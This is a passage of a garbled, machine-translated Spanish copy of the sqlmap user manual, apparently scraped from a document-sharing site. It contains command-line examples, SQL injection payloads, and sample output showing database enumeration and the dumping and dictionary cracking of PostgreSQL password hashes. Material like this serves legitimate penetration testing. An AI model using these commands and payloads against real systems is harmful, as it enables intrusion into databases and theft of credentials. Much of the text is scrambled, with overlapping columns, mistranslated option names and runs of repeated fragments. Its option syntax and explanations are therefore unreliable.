Documente Academic
Documente Profesional
Documente Cultură
Objetivo:
Al menos una de estas opciones tiene que ser proporcionado para definir la
objetivo (s)
"http://www.site.com/vuln.php?id=1")
objetivo (s) -l LOGFILE Parse de eructar o archivo de registro de proxy
Webscarab
-x objetivo SITEMAPURL Parse (s) de archivo de mapa del sitio remoto (.xml)
-m BULKFILE Escanear varios objetivos que figuran en un archivo de texto
solicitud HTTP REQUESTFILE carga -r desde un archivo
-g Proceso GOOGLEDORK los resultados de Google dork como las URL de destino
-c opciones CONFIGFILE de carga de un archivo de configuración INI
Solicitud:
Estas opciones se pueden utilizar para especificar cómo conectarse a la
dirección URL de destino
--method = Usos del método de la fuerza del método HTTP dada (por ejemplo
PUT)
--Hojas = cadena de datos Los datos que se envía a través de la POST
--param-del .. = para caracteres utiliza do para dividir los valores de
parámetros
--cookie = valor de cookies HTTP cabecera Cookie
--cookie-del .. = COO de caracteres utilizado para dividir los valores de
cookie
--load-cookies = L .. El archivo que contiene las cookies en formato de
Netscape / wget
--drop-Set-Cookie Ignorar cabecera Set-Cookie de la respuesta
--user-agent = valor de encabezado HTTP User-Agent-MAIL
El valor de uso cabecera --random-agent e seleccionado al azar HTTP User-
Agent
--host = valor de encabezado de host HTTP HOST
--referer = HTTP_REFERER valor de encabezado Referer
CABECERA -H, --hea .. cabecera adicional (por ejemplo, "X-reenviad o-a:
127.0.0.1")
--headers = HEADERS cabeceras adicionale s (por ejemplo, "Accept-Lang uage: fr
\ nETag: 123")
De tipo --auth = AUTH .. HTTP tipo de autenticación (básica, implíc ita, NTLM
o PKI)
--auth-cred = AUTH .. HTTP credenciales de autenticación (nombre:
contraseña)
archivo de clave --auth-file = AUTH .. HTTP PEM autenticación de certificado
/ privada
--ignore-401 haga caso de error HTTP 401 (no autorizado)
--proxy = PROXY uso de un proxy para conectarse a la dirección URL de
destino
--proxy-CRED PRO = .. credenciales de autenticación del proxy (nombre:
contraseña)
--proxy-file = PRO .. Cargar lista de proxy de un archivo
--ignore-proxy Ignorar configuración de proxy por defecto del sistema
red anónima Tor --tor Uso
--tor-port = TORPORT Conjunto Tor puerto proxy que no sea por defecto
--tor-type = TORTYPE Conjunto Tor tipo de proxy (HTTP (por defecto), SOCKS4
o SOCKS5)
--check-tor Compruebe si se utiliza adecuadamente Tor
--delay = RETRASO Retraso en segundos entre cada solicitud HTTP
--timeout = segundos tiempo de espera necesario antes de la conexión de
tiempo de espera (por defecto 30)
Mejoramiento:
Estas opciones se pueden usar para optimizar el rendimiento de sqlmap
Inyección:
Estas opciones se pueden utilizar para especificar qué parámetros para
probar,
proporcionar cargas útiles de inyección de secuencias de comandos
personalizados y manipulación opcionales
Detección:
Estas opciones se pueden utilizar para personalizar la fase de detección
--level = NIVEL Nivel de pruebas para llevar a cabo (1-5, por defecto 1)
--risk = RIESGO El riesgo de pruebas para llevar a cabo (1-3, por defecto 1)
--string = Cadena CADENA para que coincida cuando la consulta se evalúa como
True
--no-string = NO .. String para que coincida cuando la consulta se evalúa
como False
--regexp = EXPREG Regexp para que coincida cuando la consulta se evalúa como
True
--code = código HTTP código para que coincida cuando la consulta se evalúa
como True
--text de sólo Comparar páginas basándose únicamente en el contenido textual
Comparar --titles páginas basado sólo en sus títulos
técnicas:
Estas opciones se pueden utilizar para modificar las pruebas de inyección de
SQL específica
técnicas
técnicas de=inyección
--time-sec SQL --technique
segundos TIMESEC = TECHla(por
para retrasar defectode
respuesta "BEUSTQ")
DBMS (por
defecto 5)
--union-cols = UCOLS gama de columnas para la prueba de inyección de
consulta SQL UNION
--union-char = UCHAR carácter que se utilizará para la fuerza bruta número
de columnas
--union-from = UFROM tabla para utilizar en la inyección de una parte de la
consulta SQL UNION
--dns-domain = DNS .. nombre de dominio utilizado para el ataque
exfiltración DNS
--second-order = S .. Resultando URL de la página buscó la respuesta de
segundo orden
Huella dactilar:
-f, --fingerprint Realizar una extensa versión de DBMS huella digital
Enumeración:
Estas opciones se pueden utilizar para enumerar la base de datos back-end
la gestión del sistema de información, la estructura y los datos contenidos
en el
mesas. Por otra parte usted puede ejecutar sus propias sentencias SQL
Fuerza bruta:
Estas opciones se pueden utilizar para realizar comprobaci ones de fuerza
bruta
--udf-inyectar
--shared-lib funciones
= shlib Ruta definidas
local de por el usuariocompartida
la biblioteca personalizados Inyectar
General:
Estas opciones se pueden utilizar para establecer algunos parámetr os
generales de trabajo
--save
--scope==saveconfig Guardar
ALCANCE Regexp las opciones
a metas endeunregistro
de filtro archivo de configuración INI
de proxy
proporcionado
--test-filter = TE .. seleccionar pruebas de cargas y / o títulos (por
ejemplo FILA)
--test-skip = PRUEBA .. Pasar las pruebas de cargas y / o títulos (por
ejemplo de referencia)
--update actualización sqlmap
Diverso:
Mnemotécnicos -z Utilice mnemotécnico s cortos (por ejemplo, "la gripe, el
palo, prohibición, tec = UE")
--alert = ALERTA Ejecutar comandos del sistema operativo anfitrión (s)
cuando se encuentra de inyección SQL
--answers = RESPUESTAS conjunto de preguntas respuestas (por ejemplo, "dejar
de fumar = N, N = siga")
ni --beep ni Tono en cuestión y / o cuando se encuentra de inyección SQL
--cleanup Limpiar el DBMS de sqlmap UDF y tablas específicas
--dependencies Compruebe si faltan (no básicos) dependencias sqlmap
--disable-colorante
--gpage = GooglePage salida
Uso de de la consola
Google Desactivarde número de página
dork resultados
especificado
--identify-WAF Haga una prueba a fondo para una protección WAF / IPS / IDS
--skip-WAF Omitir detección heurística de la protección WAF / IPS / IDS
Imitar --mobile teléfono inteligente a través de encabezado HTTP User-Agent
Trabajo --offline en el modo fuera de línea (sólo utilizar los datos de
sesión)
--page-ranking página de visualización (PR) para los resultados de Google
dork
--purge-salida Extracción segura de todo el contenido de un directorio de
salida
Llevar a cabo pruebas exhaustiva s --smart sólo si heurística positiva (s)
Símbolo del --sqlmap cáscara de una concha sqlmap interactivo
--wizard interfaz de asistente simple para los usuarios principian tes
verbosidad de salida
Opción: -v
Esta opción se puede utilizar para ajustar el nivel de verbosidad de los mensajes
de salida.Existen siete niveles de verbosidad. El nivel por defecto es 1 , en el que
se muestran información, advertencia de error, los mensajes críticos y los rastreos
de Python (en su caso se producen).
0 : Mostrar solamente las trazas de retorno de Python, errores y mensajes críticos.
1 : Show también la información y mensajes de advertencia.
2 : Show también depurar mensajes.
3 : Show también cargas útiles inyectado.
4 : Show también las peticiones HTTP.
5 : Show también las cabeceras de las respuestas HTTP.
6 : Show también contenido de la página respuestas HTTP.
Un
bajonivel razonable
el capó de nivel
es de nivel de detalle para comprender mejor lo que hace sqlmap
2 , principalmente para la fase de detección y las
funcionalidades de adquisición. Mientras que si quieres ver las cargas útiles de las
herramientas de SQL envía, el nivel 3 es su mejor opción. También se recomienda
este nivel para ser utilizado cuando se alimenta a los desarrolladores con un
potencial de informe de error, asegúrese de que se envía junto con la salida
estándar del archivo de registro de tráfico generado con la opción -t . Con el fin de
depurar aún más las posibles errores o comportamientos inesperados, le
recomendamos que ajuste el nivel de detalle de nivel 4 o superior.
Objetivo
Al menos una de estas opciones ha proporcionado puede fijar el objetivo (s).
Por ejemplo:
sqlmap.py $ pitón -d "mysql: // Administrador: admin@192.168.21.17: 3306 /
testdb" -f --bann \
er --dbs --users
URL de destino
Opción: -u o --url
Ejecutar sqlmap contra una sola dirección URL de destino. Esta opción requiere
una dirección URL de destino en forma siguiente:
http (s): // TargetURL [: puerto] / [...]
Por ejemplo:
$ Python sqlmap.py -u "http://www.target .com/vuln.php?id=1" -f --banner --dbs -
\
-Los usuarios
En lugar-l
Opción: de proporcionar una única dirección URL de destino, es posible probar e
inyectar en contra de las peticiones HTTP proxy a través de proxy eructar o proxy
de Webscarab . Esta opción requiere un argumento que es peticiones HTTP de
proxy del archivo de registro.
id = 1
Tenga en cuenta que si la solicitud es a través de HTTPS, puede utilizar esto en
conjunto con el interruptor --force-SSL para forzar la conexión SSL a 443 /
tcp. Como alternativa, puede anexar: 443 hasta el final del anfitrión valor de
encabezado.
Solicitud
Estas opciones se pueden utilizar para especificar cómo conectarse a la dirección
URL de destino.
método HTTP
Opción: --method
sqlmap detecta automáticamente el método HTTP adecuado para ser utilizado en
las peticiones HTTP. Sin embargo, en algunos casos, se requiere para forzar el
uso de método HTTP específica (por ejemplo PUT ) que no se utiliza por el
automatismo. Esto es posible con el uso de esta opción (por ejemplo --method =
PUT ).
datos HTTP
Opción: --Hojas
Por defecto, el método HTTP utilizado para realizar peticiones HTTP es GET , pero
se puede cambiar de forma implícita a PUBLIQUE proporcionando los datos a ser
enviados en los POST desolicitudes. Tales datos, siendo estos parámetros, se
prueban para la inyección de SQL, así como las previstas GET parámetros.
Por ejemplo:
$ Python sqlmap.py -u "http://www.target.com/ vuln.php" --Hojas = "id = 1" f --
banne \
r --dbs --users
De cualquier razón te lleva a necesita enviar las galletas con las peticiones
sqlmap, los pasos a seguir son los siguientes:
Accede a la aplicación con su navegador favorito.
Obtener la cookie HTTP de preferencias de tu navegador o desde la pantalla de
proxy HTTP y copiar al portapapeles.
Vuelve a tu shell y ejecutar sqlmap pegando el portapapeles como valor de la
opción --cookie .
Tenga en cuenta que los HTTP galleta de valores de cabecera suelen estar
separados por una; carácter, no por una y . sqlmap puede reconocer éstos como
conjuntos separados deparámetro = valor demasiado, así como GET y POST de
parámetros. En caso de que el carácter de separación es distinto ; se puede
especificar utilizando la opción --cookie-del .
Si en cualquier momento durante la comunicación, la aplicación web responde
con Set-Cookie cabeceras, sqlmap utilizará automáticamente su valor en todas las
peticiones HTTP adicionales como la galleta de cabecera. sqlmap también
probará automáticamente estos valores para la inyección de SQL. Esto puede
evitarse proporcionando el interruptor --drop-Set-Cookie - sqlmap ignorará
cualquier procedente Set-Cookie cabecera.
A la inversa, si usted proporciona un HTTP Cookies encabezado con opción --
cookie y la URL de destino envía un HTTP Set-Cookie cabecera en cualquier
momento, sqlmap le preguntará qué conjunto de cookies para utilizar para las
siguientes solicitudes HTTP.
También hay una opción -cookies --load que se pueden utilizar para proporcionar
un archivo especial que contiene Netscape / wget formato cookies.
Tenga en cuenta que también el HTTP Cookies cabecera se comprueba frente a la
inyección de SQL si el --level se establece en 2 o superior. Lea a continuación
para más detalles.
HTTP User-Agent cabecera
Opción y el interruptor: --user-agente y --random-agente
Por defecto sqlmap realiza peticiones HTTP con el siguiente User-Agent valor de
encabezado:
sqlmap / 1.0-dev-xxxxxxx (http://sqlmap.org)
Sin embargo, es posible que fingir con la opción --user-agente , proporcionando a
medida User-Agent como argumento de la opción.
Además, al proporcionar el interruptor --random-agente , sqlmap seleccionará al
azar a un agente de usuario de la ./txt/user-agents.txt archivo de texto y utilizarlo
para todas las peticiones HTTP dentro de la sesión.
Algunos sitios realizan una comprobación del lado del servidor de HTTP User-
Agent valor de encabezado y no logran la respuesta HTTP válida si un agente de
usuario no se proporciona, no se espera que su valor o en una lista negra por un
firewall de aplicaciones web o sistema de prevención de intrusiones similares. En
este caso sqlmap le mostrará un mensaje de la siguiente manera:
[Hh: mm: 20] [ERROR] la URL de destino responde con un código de estado HTTP
desconocido, trate de
forzar la cabecera HTTP User-Agent con la opción --user-agente o --random-agente
Tenga en de
inyección cuenta
SQLque
si eltambién el HTTP User-Agent cabecera se prueba contra la
--level se establece en 3 o superior. Lea a continuación
para más detalles.
HTTP Host cabecera
Opción: --host
Puede configurar manualmente HTTP Host valor de encabezado. Por defecto
HTTP Hostcabecera se analiza desde una dirección URL de destino previsto.
Tenga en cuenta que también el HTTP Host cabecera se comprueba frente a la
inyección de SQL si el --level se establece en 5 . Lea a continuación para más
detalles.
HTTP Referer cabecera
Opción: --referer
Es posible falsificar el HTTP Referer valor de encabezado. Por
defecto no HTTP Referercabecera se envía en las solicitudes HTTP si no se
establece de manera explícita.
Tenga en cuenta que también el HTTP Referer cabecera se comprueba frente a la
inyección de SQL si el --level se establece en 3 o superior. Lea a continuación
para más detalles.
0%
20%20%
20%20%
20%20%
20%20%
20%20%
20%20%
20 20%
\ 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 2 \
0% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20% 20 \
% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20%
20% 20% 20% 20% 20% 20 % 20% \
20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 20% 205 473% 29% 20 Entonces% 201%
20ELSE% 200% 20END% 29% 29% 2C \
0x3a6c666d3a% 2CFLO OR% 28RAND% 280% 29% 29% 2A2% 29x% 20FROM%
20INFORMATION_SCHEMA.CHARA \
CTER_SETS% 20GROUP% 20BY% 20x% 29a%
29 HTTP / 1.1
Anfitrión: www.target.com
Accept-Encoding: gzip, desinfle
Accept: text / html, application / xhtml + xml, application / xml; q = 0,9, * /
*; q = 0,8 Firefox 1.0
User-agent:
Conexión: cerrar
[...]
Mejoramiento
la predicción de salida
Cambiar: --predict-salida
Este interruptor se utiliza en el algoritmo de inferencia estadística para la
predicción secuencial de caracteres de valor siendo recuperados. Tabla
estadística con los valores de carácter más prometedores está siendo construido
en base a los elementos que figuran en el txt / common-outputs.txt combinado
con el conocimiento de la enumeración de corriente utilizada. En caso de que el
valor se encuentra entre los valores de salida comunes, ya que el proceso avanza,
tablas de caracteres subsiguientes se estrecharon cada vez más. Si se usa en
combinación con la recuperación de las entidades DBMS comunes, como ocurre
con los nombres de tabla y sistema de privilegios, velocidad es significativo. Por
supuesto, puede editar el archivo de salidas de común acuerdo con sus
necesidades, si, por ejemplo, se observa patrones comunes en los nombres de
tabla de base de datos o similares.
Tenga en cuenta que este interruptor no es compatible con --threads interruptor.
Inyección
Estas opciones se pueden utilizar para especificar qué parámetros para probar,
proporcionar cargas útiles de inyección de secuencias de comandos
personalizados y manipulación opcionales.
Forzar el DBMS
Opción: --dbms
Por defecto sqlmap detecta automáticamente el sistema de gestión de base de
datos back-end de la aplicación web. sqlmap es totalmente compatible con los
siguientes sistemas de gestión de base de datos:
MySQL
Oráculo
PostgreSQL
Microsoft SQL Server
acceso Microsoft
SQLite
Firebird
Sybase
SAP MaxDB
DB2
Es posible forzar el nombre del sistema operativo si ya sabe que para que sqlmap
evitará hacerlo en sí.
Tenga en cuenta que esta opción es no obligatorio y se recomienda utilizarlo sólo
si está absolutamente segurosobre el sistema de gestión de base de datos del
sistema operativo subyacente de fondo. Si no lo saben, y mucho sqlmap identifica
automáticamente por usted.
los valores
Cambiar: --invalid-lógica
En los casos en que sqlmap necesita para invalidar el valor del parámetro srcinal
(por ejemplo id = 13 ) que utiliza la negación clásica (por ejemplo id = -13 ). Con
este interruptor es posible forzar el uso de operaciones booleanas para cumplir el
mismo objetivo (por ejemplo id = 13 y 18 = 19 ).
Por ejemplo:
$ Python sqlmap.py -u "http: //192.168.136.131/sqlmap/mysql/get_str_brackets.php
\
? Id = 1 "Identificaci ón -p --prefix" ') "--suffix" Y (' abc '=' abc "
[...]
Esto dará lugar a todas las solicitudes sqlmap para terminar en una consulta de la
siguiente manera:
$ Query = "SELECT * FROM usuarios WHERE id = ( '1') <payload> Y ( 'abc' = 'abc')
LIMIT 0, 1";
Lo cual hace que la consulta sintácticamente correcta.
En este sencillo ejemplo, sqlmap podría detectar la inyección de SQL y se
aprovechan de ella sin necesidad de proporcionar límites personalizados, pero a
veces en aplicaciones del mundo real, es necesario proporcionarla cuando el
punto de inyección está dentro anidados UNIRSE consultas, por ejemplo.
[Hh: mm:
[Hh: mm: 03]
03] [INFO]
[INFO] la
script
cargadedecarga de sabotaje
la escritura 'randomcase'
de sabotaje 'space2comment'
[...]
[Hh: mm: 04] [INFO] prueba 'y ciego booleano de base - WHERE o HAVING'
[Hh: mm: 04] [CARGA] 1) / ** / Y / ** / 1369 = 7706 / ** / Y / ** / (4092 = 4092
[Hh: mm: 04] [CARGA] 1) / ** / Y / ** / 9267 = 9267 / ** / Y / ** / (4057 = 4057
[Hh: mm: 04] [CARGA] 1 / ** / y / ** / 950 = 7041
[...]
[Hh: mm: 04] Las pruebas de 'MySQL> [INFO] = 5.0 y basado en el error - cláusula
WHERE o HAVING
'
[Hh: mm: 04] [CARGA] 1 / ** / y / ** / (SELECT / ** / 9921 / ** / FROM (SELECT /
** / Count (*), CONC
AT (CHAR (58,117,113,107,58), (/ ** / (caso SELECT / ** / cuándo / ** / (9921 =
9921) / ** / then / ** / 1 /
** / Else / ** / 0 / ** / END)), Char (58,106,104,104,58) , suelos (rand (0) *
2)) x / ** / DE / ** / Información
rmation_schema.tables / ** / grupo / ** / BY / ** / x) a)
[Hh: mm: 04] [INFO] GET parámetro 'id' es 'MySQL> = 5.0 y basada en el error -
WHERE o
cláusula HAVING inyectable '
[...]
Detección
Estas opciones se pueden usar para personalizar la fase de detección.
Nivel
Opción: --level
Esta opción requiere un argumento que especifica el nivel de pruebas que desee
realizar. Haycinco niveles. El valor por defecto es 1 , donde se llevan a cabo
número
detalladoslimitado denúmero
para un pruebasmucho
(solicitudes). A lacargas
mayor de inversa, el nivel
útiles y losde 5 probará
límites (comomás
en
par de prefijo y el sufijo carga útil SQL). Las cargas utilizadas por sqlmap se
especifican en el archivo de texto XML / payloads.xml . Siguiendo las instrucciones
en la parte superior del archivo, si sqlmap pierde una inyección, debe ser capaz de
añadir su carga útil (s) para probar también!
No sólo esta opción afecta a que la carga útil sqlmap intentos, pero también por
los que se toman los puntos de inyección en el examen: GET y parámetros POST
están siempre a prueba, valores de cabecera de cookies HTTP se prueban desde
el nivel 2 / Referer valor encabezados 'y HTTP User-Agent se pone a prueba de
nivel 3 .
Con todo, más difícil es detectar una inyección SQL, cuanto mayor sea el --
level debe ajustarse.
Se recomienda encarecidamente a mayor sea este valor antes de informar a la
lista de correo que sqlmap no es capaz de detectar un cierto punto de inyección.
Riesgo
Opción: --risk
Esta opción requiere un argumento que especifica el riesgo de pruebas que desee
realizar. Haycuatro valores de riesgo. El valor por defecto es 1 , que es inofensiva
para la mayoría de los puntos de inyección SQL. Valor de riesgo 2 añade al nivel
predeterminado para las pruebas consulta pesada inyecciones SQL basados en el
tiempo y el valor 3 añade también O basados en pruebas de inyección SQL.
En algunos casos, como una inyección de SQL en una ACTUALIZACIÓN comunicado,
la inyección de un OR de carga útil con base puede conducir a una actualización de
todas las entradas de la tabla, lo que ciertamente no es lo que quiere el
atacante. Por esta razón y otras esta opción se ha introducido: el usuario tiene
control sobre qué cargas se hacen la prueba, el usuario puede elegir
arbitrariamente utilizar también los potencialmente peligrosos. De acuerdo con la
opción anterior, las cargas útiles utilizados por sqlmap se especifican en el archivo
de texto XML / payloads.xml y que son libres de editar y añadir su propietaria.
comparación de la página
Opciones: --string , --no-secuencia , --regexp y --code
Por defecto, la distinción de una verdadera consulta de un falso uno (concepto
áspera detrás de vulnerabilidades de inyección SQL ciega basada en booleanas)
se realiza mediante la comparación del contenido de la página peticiones
inyectado con el contenido de la página no se ha inyectado srcinales. No siempre
este concepto funciona porque a veces los cambios de contenido de página en
cada actualización del aun no inyectar algo, por ejemplo, cuando la página tiene
un contador, un banner de publicidad dinámica o cualquier otra parte del HTML
que hayan sido transformados de forma dinámica y puede cambiar en el tiempo,
no sólo en consecuencia, a la entrada del usuario. Para eludir este límite, sqlmap
se esfuerza
en por identificar
consecuencia. A veces estos
puedefragmentos deeso
fallar, es por los que
cuerpos de respuesta
el usuario puede y tratar
proporcionar una cadena ( --string opción), que debe estar presente en la página
srcinal (aunque no es un requisito) y en todas las páginas de consulta inyecta
cierto, pero que es no en el los falsos. En lugar de cadena estática, el usuario
puede proporcionar una expresión regular ( --regexp opción). Alternativamente, el
usuario puede proporcionar una (cadena --no-secuencia opción) que
es no presente en la página srcinal, y no en todas las páginas de consulta
inyectados cierto, pero aparece siempre en los falsos.
Tales datos es fácil para un usuario recuperar, simplemente tratar de inyectar en el
parámetro afectado un valor no válido y comparar manualmente el contenido de la
página srcinal (no inyectada) con el contenido de la página equivocada
inyectado. De esta manera la distinción se basa en la presencia de cadena o
expresión regular.
En los casos en que el usuario sabe que la distinción de una verdadera consulta de
un falsouno puede hacerse utilizando el código HTTP (por ejemplo, 200 para
la verdadera y 401 para elFalso ), que puede proporcionar esa información a sqlmap
(por ejemplo --code = 200 ).
Interruptores: --text-solo y --titles
En los casos en que el usuario sabe que la distinción de una verdadera consulta de
un falsouno puede hacerse utilizando título HTML (por
ejemplo Bienvenido a Verdadero y Forbidden deFalso ), que a su vez puede
convertirse en una comparación basada en el título utilizando los interruptores --
titles .
En los casos con gran cantidad de contenido activo (por ejemplo, secuencias de
comandos, se incrusta, etc.) en el cuerpo de las respuestas HTTP ', puede filtrar
páginas (switch --text de sólo ) simplemente por su contenido textual. De esta
manera, en un buen número de casos, se puede sintonizar automáticamente el
motor de detección.
técnicas
Estas opciones se pueden utilizar para ajustar el ensayo de técnicas específicas
de inyección SQL.
técnicas de inyección SQL para la prueba de
Opción: --technique
Esta opción se puede utilizar para especificar qué tipo de inyección SQL para
detectar si existen.Por defecto sqlmap pruebas para todos los tipos / técnicas que
soporta.
En determinadas situaciones, es posible que desee probar sólo para uno o pocos
tipos específicos de pensamiento de inyección SQL y aquí es donde esta opción
entra en juego.
Esta opción requiere un argumento. Tal argumento es una cadena compuesta por
cualquier combinación de B , E , U , S , T y Q caracteres, donde cada letra representa
una técnica diferente:
B : ciega a base de Boole
E : basado Error
T basado en consultas Unión:
S : Stacked consultas
T : ciega basada en Tiempo
Q consultas Inline:
Huella dactilar
sistema de huella digital extensa base de datos de
gestión
Interruptores: -f o --fingerprint
Por defecto de huellas dactilares sistema de gestión de base de datos back-end
de la aplicación web es manejado automáticamente por sqlmap. Justo después de
que finalice la fase de detección y el usuario con el tiempo se le solicita con una
elección de qué parámetro vulnerable a utilizar más adelante, las huellas
dactilares sqlmap el sistema de gestión de base de datos back-end y continúa con
la inyección por saber qué sintaxis SQL, dialecto y consultas de usar para
proceder con el ataque dentro de los límites de la arquitectura de base de datos.
Si por alguna instancia que desea llevar a cabo una extensa base de datos de
huellas dactilares sistema de gestión basado en diversas técnicas como dialectos
SQL específicas y mensajes de error dentro de banda, puede proporcionar el
interruptor --fingerprint . sqlmap va a realizar muchas más solicitudes y las
huellas digitales de la versión exacta de DBMS y, cuando sea posible, el sistema
operativo, la arquitectura y el nivel de parche.
Si desea que la huella digital sea resultado aún más preciso, también puede
proporcionar el interruptor -b o --banner .
Enumeración
Estas opciones se pueden utilizar para enumerar el sistema de gestión de base de
datos de información, estructura de fondo y los datos contenidos en las tablas. Por
otra parte usted puede ejecutar sus propias sentencias SQL.
recuperar todos
Cambiar: --all
Este interruptor puede ser utilizado en situaciones en las que el usuario quiere
recuperar todo remotamente accesible mediante el uso de un único
conmutador. Esto no es recomendable ya que generará gran número de
peticiones de recuperación de datos útiles y inútiles.
Bandera
Cambiar: -b o --banner
La mayoría de los sistemas modernos de gestión de base de datos tienen una
función y / o una variable de entorno que devuelve la versión del sistema de
gestión de base de datos y, finalmente, detalles sobre su nivel de parche, el
sistema subyacente. Por lo general, la función es la versión () y la variable de
entorno se @@ version , pero esto puede variar dependiendo de los DBMS de
destino.
Ejemplo contra un objetivo de Oracle:
$ Python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int.php?id=1" -
\
-bandera
[...]
[Xx: xx: 11] [INFO] bandera ir a buscar
La tecnología de aplicaciones web: PHP 5.2.6, 2.2.9 Apache
back-end DBMS: Oracle
banner: 'Base de Datos Oracle 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
usuario de la sesión
Cambiar: --current usuario
Con este interruptor es posible recuperar los usuarios del sistema de gestión de
base de datos que está llevando a cabo de manera efectiva la consulta en el
DBMS de back-end de la aplicación web.
[...]
[Xx: xx: 04] [INFO] ir a buscar el nombre de host del servidor
[Xx: xx: 04] [INFO] recuperado: debian-5.0-i386
nombre de host: 'debian-5.0-i386'
[...]
DBMS PostgreSQL:
[hh: mm: 38] [info] ir a buscar a los usuarios de bases de datos hashes de
contraseñas
¿desea utilizar el ataque de diccionario sobre hashes de contraseñas
recuperadas? [Y / n / q] y
[Hh: mm: 42] [INFO] utilizando el método de hash: 'postgres_passwd'
¿cuál es la ubicación del diccionario? [/software/sqlmap/txt/wordlist.txt]
[Hh: mm: 46] [INFO] Diccionario de carga: '/software/sqlmap/txt/wordlist.txt'
Qué desea utilizar sufijos comunes contraseña? (Lento!) [S / N] n
[Hh: mm: 48] [INFO] a partir ataque de diccionario (postgres_passwd)
[Hh: mm: 49] [INFO] encontrado: 'testpass' para el usuario: 'testuser'
[Hh: mm: 50] [INFO] encontrado: 'testpass' para el usuario: 'postgres'
de gestión de base de datos de los usuarios del sistema hashes de contraseñas:
[*] Postgres [1]:
hash de la contraseña: md5d7d880f96044b72d0bba108ace96d1e4
contraseña de texto: testpass
[*] Usuarioprueba [1]:
hash de la de
contraseña contraseña: md599e5ea7a6f7c3269995cba3927fd0093
texto: testpass
No sólo enumeró sqlmap los usuarios DBMS y sus contraseñas, pero también
reconoce el formato de hash ser PostgreSQL, le pregunta al usuario si desea o no
probar los hashes contra un archivo de diccionario e identificó la contraseña de
texto para el postgres usuario, que es por lo general a lo largo de un DBA del
usuario aparte, usuarioprueba , contraseña.
Esta característica se ha implementado para todos los DBMS en los que es
posible enumerar los hashes de contraseñas de los usuarios, incluyendo Oracle y
Microsoft SQL Server pre y post-2005.
También puede proporcionar la opción -U para especificar el usuario específico
que desea enumerar y finalmente romper el hash de la contraseña (s). Si
proporciona CU como nombre de usuario que lo considerará como un alias para el
usuario actual y recuperará el hash de la contraseña (es) de este anuncio.
privilegios
gestión de usuarios
de bases en la lista de sistemas de
de datos
Cambiar: --privileges
Cuando el usuario de la sesión tiene acceso de lectura a la tabla de sistema que
contiene información sobre los usuarios DBMS, es posible enumerar los privilegios
de cada usuario del sistema de gestión de base de datos. Por los privilegios,
sqlmap también le que son administradores de bases de mostrar.
También puede proporcionar la opción -U para especificar el usuario que desea
enumerar los privilegios.
Si proporciona CU como nombre de usuario que lo considerará como un alias para
el usuario actual y enumerará los privilegios de este anuncio.
En Microsoft SQL Server, esta función mostrará que si cada usuario es un
administrador de base de datos en lugar de la lista de privilegios para todos los
usuarios.
[...]
Base de datos: owasp10
Tabla: cuentas
[4 columnas]
+ ------------- + --------- +
| columna | Tipo |
+ ------------- + --------- +
| cid | int (11) |
| mysignature | texto |
| contraseña | texto |
| username | texto |
+ ------------- + --------- +
Tabla: hitlog
[6 columnas]
+ ---------- + ---------- +
| columna | Tipo |
+ ---------- + ---------- +
| fecha | fecha y hora |
| navegador | texto |
| cid | int (11) |
| nombre de host | texto |
| IP | texto |
| árbitro | texto |
+ ---------- + ---------- +
[...]
[Hh: mm: 14] [INFO] ir a buscar salida de la consulta SQL SELECT: 'SELECT' foo
''
[Hh: mm: 14] [INFO] recuperado: foo
SELECT 'foo': 'foo'
[...]
[Hh: mm: 50] [INFO] ir a buscar salida de la consulta SQL SELECT: 'SELECT' foo
',' bar ''
[Hh: mm: 50] [INFO] la consulta SQL proporcionada tiene más de un campo. sqlmap
ahora
descomprimirlo en distintas consulta s para poder recuperar la salida incluso si
estamos
quedando ciego
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (102) + CHAR (111) +
CHAR (111)) AS
VARCHAR (8000)), (CHAR (32)))
[Hh: mm: 50] [INFO] recuperado: foo
[Hh: mm: 50] [DEBUG] realizó 27 consultas en 0 segundos
[Hh: mm: 50] [DEBUG] consulta: SELECT ISNULL (CAST ((CHAR (98) + CHAR (97) +
CHAR (114)) COMO VA
RCHAR (8000)), (CHAR (32)))
[Hh: mm: 50] [INFO] recuperado: Barra
[Hh:
SELECTmm: 50] [DEBUG]
'foo', realizó
'bar': 'foo, 27 consultas en 0 segundos
bar'
Como se puede ver, sqlmap divide la consulta proporcionada en dos
diferentes SELECT declaraciones luego recupera la salida para cada consulta
independiente.
Si la consulta se proporciona un SELECT declaración y contiene una DESDE cláusula,
sqlmap le preguntará si dicha declaración puede devolver múltiples entradas. En
ese caso, la herramienta sabe cómo desembalar la consulta correctamente para
contar el número de entradas posibles y recuperar su salida, entrada por entrada.
La opción del shell SQL le permite ejecutar su propia sentencia de SQL de forma
interactiva, como una consola de SQL conectado al sistema de gestión de base de
datos. Esta característica proporciona la implementación del tabulador y apoyo la
historia también.
Fuerza bruta
Estos interruptores se pueden utilizar para realizar comprobaciones de fuerza
bruta.
[...]
[Hh: mm: 39] [INFO] MySQL prueba
[Hh: mm: 39] [INFO] confirmando MySQL
[Hh: mm: 40] [INFO] el back-end DBMS es MySQL
[Hh: mm: 40] [INFO] bandera ir a buscar
sistema operativo del servidor Web: Windows
La tecnología de aplicaciones web: PHP 5.3.1, 2.2.14 de Apache
sistema operativo DBMS: Windows
DBMS: MySQL <5.0.0
banner: "4.1.21-comunidad-nt '
[Hh: mm: 40] [INFO] comprobación de la existencia tabla usando artículos de '/
software / sqlmap / tx
t / common-tables.txt '
[Hh: mm: 40] [INFO] la adición de palabras que se usan en la página web a la
lista de verificación
Por favor, introduzca el número de hilos? [Enter para 1 (actual)] 8
[Hh: mm: 43] [INFO] recuperado: los usuarios
Basemesa]
[1 de datos: testdb
+ ------- +
| usuarios |
+ ------- +
[...]
[Hh: mm: 49] [INFO] el back-end DBMS es Microsoft SQL Server
sistema operativo del servidor Web: Windows 2000
